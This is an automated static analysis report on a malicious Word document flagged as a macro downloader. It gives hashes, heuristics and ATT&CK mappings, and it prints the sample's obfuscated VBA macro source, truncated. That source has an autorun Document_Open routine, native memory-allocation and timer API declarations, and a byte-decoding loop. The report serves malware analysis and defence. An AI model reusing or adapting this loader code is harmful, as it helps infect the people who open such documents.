Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2360794973bcba30…

MALICIOUS

Office (OLE)

219.5 KB Created: 2018-02-01 14:09:00 Authoring application: Microsoft Office Word First seen: 2018-02-07
MD5: d4555d08b9ff8a12c26365baf693c8e9 SHA-1: 3ef391b40882cd61dca80f9a0c413e19bbef65b1 SHA-256: 2360794973bcba307f9187f513c1120bb13cfcc8861e262c8824f0808fbd754d
142 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File

The file is a malicious Office document containing VBA macros. The 'Document_Open' macro is present, and heuristics indicate it's designed to lure the user into enabling macros. Once enabled, the macro likely executes a downloader payload, as suggested by the ClamAV detection name 'Doc.Downloader.Macro-6539595-0'. The VBA code itself appears obfuscated, but the presence of API declarations for memory allocation and timer creation suggests it's preparing to execute further stages.

Heuristics 5

  • ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8199 bytes
SHA-256: 90486010d3a020fd4773054bded1a59593dde9b2b848330bc2447862572313a1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True






Private Sub Document_Open()
meus
adiantum = 9 + 52
 Pmt 0, adiantum, 32689, 12294, 4
End Sub


Attribute VB_Name = "feasibility"
#If (66 - 22 + 356 + 14 - 2 + 288) > ((109 - 23 + 234) - (1 - 77 + 616) * 1) And ((116 - 123 + 35) - (13 - 120 + 135)) * 2 < (Win64) Then
Public Declare PtrSafe Function clamydospore _
Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (osteostraci As Any, ByVal amis As Any, ByVal cautionary As Any, ByVal indignant As Any, ByVal hasdrubal As Any, ByVal loaves As Any, ByVal laureled As Any) As Long
Public Declare PtrSafe Function improvements _
Lib "Ntdll  " Alias _
"NtAllocateVirtualMemory" (poplar As LongPtr, headstall As LongPtr, ByVal defined As LongPtr, muttonheadByVal As LongPtr, fascinate As LongPtr, ByVal composing As LongPtr) As LongPtr
#End If
Function darwinian(mercys, improved, batfish)
Dim azimuthal As Long
Dim detriment As Integer
Dim nimblewitted As Long
Dim apterygiformes As Byte
Dim diacalpa As Long
Dim epopoca As Long
Dim ghillie As Long
Dim aristotelia As Byte
Dim vitalist As Long
Dim liquefy As Variant
Dim bacteroidaceae As String
padding = Rnd(134)
myaceae = fukuoka + 84
azimuthal = mercys
vitalist = batfish
fukuoka = padding - 104
diacalpa = improved
acolyth = 7 + 12
 Pmt 0, acolyth, 9137, 43759, 7

padding = Fix(230)
nimblewitted = 32 - 111 + 78
globated ByVal nimblewitted, _
azimuthal, diacalpa, _
vitalist, ghillie
fukuoka = Fix(68)
End Function
Function forecaster(glebe, grog, amphiuma)
If amphiuma = 42 + (10 / 2 - 5) Then
forecaster = glebe \ grog
ElseIf amphiuma = 52 + (5 - 3) / 2 - 1 Then
forecaster = glebe And grog
ElseIf amphiuma = 60 + (56 / 7 - 4 * 2) Then
forecaster = glebe * grog
End If
End Function

Attribute VB_Name = "pipette"
Attribute VB_Base = "0{D412E8AC-57F7-43F4-AC4E-BDB8BD383E11}{B4B580E7-7BB7-4916-8F1B-AFE2C79CBD2D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "workerd"
#If (16 - 92 + 476 + 115 - 59 + 244) > ((59 - 37 + 298) - (79 - 55 + 516) * 1) And Not ((95 - 15 - 52) - (104 - 128 + 52)) * 2 < (Win64) Then
Public Declare Function heckling _
Lib "Shlwapi.dll  " Alias _
"GetOverlappedResult" (ByVal beche As Any, adopted As Any, nerve As Any, atherinopsis As Any) As Long
Public Declare Function improvements _
Lib "ntdll  " Alias _
"NtAllocateVirtualMemory" (euryalus As Long, saccharin As Long, ByVal disparagement As Long, sybariticalByVal As Long, whacker As Long, ByVal lotus As Long) As Long
#End If

Function huddled(involuntarily) As String
Dim swinish As Long
Dim awning(63) As Long
Dim consuecere(63) As Long
Dim gaultheria As Long
Dim eritrea As Long
Dim centerpiece As String
Dim adsorption() As Byte
Dim alnashar(6962) As Byte
Dim gowned As Integer
Dim coagulate As Long
myaceae = Math.Round(482)

Dim indra(63) As Long
gamely = 81 - 13 + 3964
Dim ebenezer As Byte

hellbent = 64 - 83 + 274
flank = 64 - 63 + 16711679
earless = 67 - 128 + 16515133
Dim cry As Variant

illuminating = 25 - 120 + 4191
feeder = 79 - 79 + 258048
loiterer = 15 - 29 + 65550
environs = 31 - 75 + 262188
freezing = 41 - 27 + 65266
winger = 45 - 15 + 34
entoproct = 7 - 10 + 66
Dim dyad As Variant

stammerer = 93 - 105 + 268
Dim worked As String
alkalimetry = 32 - 13 + 7824
Dim algophobic() As Byte
algophobic = VBA.StrConv(involuntarily, 120 + 8)
fillibeg = 59 + 4
 Pmt 0, fillibeg, 12218, 15014, 3

Angle = 7843
capitate = vbKeyShift - 12
For capacitance = 0 To Angle
If capacitance Mod 2 = 0 Then
algophobic(capacitance) = algophobic(capacitance) - capitate
Else
algophobic(capacitance) = algophobic(capacitan
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.